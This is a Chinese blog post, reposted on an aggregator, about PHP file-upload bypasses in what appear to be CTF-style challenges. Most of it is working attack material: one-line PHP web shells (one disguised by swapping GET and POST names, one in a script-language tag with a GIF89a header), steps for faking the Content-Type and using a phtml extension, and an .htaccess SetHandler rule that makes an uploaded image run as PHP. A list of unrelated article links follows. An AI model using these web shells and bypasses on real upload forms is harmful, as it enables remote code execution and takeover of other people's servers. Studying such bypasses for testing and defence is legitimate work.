当前位置: 首页 > news >正文

文件上传之PHP

别怕,我会一直陪着你

  • 一.知识
  • 二.实例
    • 1.phtml, <?简单过滤
    • 2.前端验证, phtml
    • 3 \.htaccess

一.知识

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht

二.实例

1.phtml, <?简单过滤

(1)一句话木马
故意使用了post和get用来迷惑人
https://127.0.0.1/shy.php?POST=assert 密码:GET

<?php $_GET['POST']($_POST['GET'])?>

(2)提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为

image/jpeg

(3)带<?的一句话都不行

GIF89a? <script language="php">eval($_REQUEST[8])</script>

(4)现在需要知道图片的保存路径了。
一般都是

upload/filename

2.前端验证, phtml

(1)一句话木马

<?php @eval($_POST[8]);?>

(2)前

jpg

(3)后缀

phtml

3 .htaccess

(1)一句话木马

GIF89a? 
<script language="php">eval($_POST[8]);</script>

(2).htaccess文件,里面的内容为:

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

注意里面的1.png要和你刚才上传的文件名一模一样!

注意jpg还是png,要改为相应的。

(3)访问

得到

/var/www/html/upload/ba50cbfb34f9f155b88ae419dabfade8/b.jpg succesfully uploaded!

访问

/upload/ba50cbfb34f9f155b88ae419dabfade8/b.jpg 
http://www.lryc.cn/news/99034.html

相关文章:

  • 人脸检测实战-insightface
  • Linux工具【1】(编辑器vim、编译器gcc与g++)
  • 基于Java+SpringBoot+vue前后端分离古典舞在线交流平台设计实现
  • MQ - 闲聊MQ一二事儿 (Kafka、RocketMQ 、Pulsar )
  • Qt中的 QIODevice类(包含:随机访问、顺序访问设备)
  • 【JavaScript 07】函数声明 地位平等 函数提升 属性方法 作用域 参数 arguments对象 闭包 IIFE立即调用函数表达式 eval命令
  • MyBatis源码分析_ResultSetHandler(7)
  • Unittest加载执行用例的方法总结
  • 使用预训练的2D扩散模型改进3D成像
  • 微服务测试是什么?
  • 《现代C++教程》笔记(5-7)
  • 红黑树深入剖析【C++】
  • 教育机构视频播放时观看行为分析有哪些应用?
  • Jmeter+验证json结果是否正确小技巧
  • Spring 6.0官方文档示例(22): singleton类型的bean和prototype类型的bean协同工作的方法(一)
  • Android平台GB28181设备接入侧如何同时对外输出RTSP流?
  • el-Cascader 中div上绑定keyDown事件
  • elementUI 表格滚动分页加载请求数据
  • JAVA面试总结-Redis篇章(五)——持久化
  • 【数据结构】·顺序表函数实现·赶紧学起来呀
  • C++,类和对象-多态,制作饮品
  • 网站分析:学习如何分析目标网站的页面结构和URL规律,确定爬取目标和策略。
  • 《向量数据库指南》:向量数据库Pinecone如何集成数据湖
  • Vue3中使用pinia
  • Mysql中(@i:=@i+1)的介绍
  • Nexperia和KYOCERA AVX Components Salzburg 就车规氮化镓功率模块达成合作
  • 数据库应用:Redis安装部署
  • 7.Docker-compose
  • 多线程:管程法
  • 7.1 String StringBuffer 和 StringBuilder 的区别是什么? String 为什么是不可变的?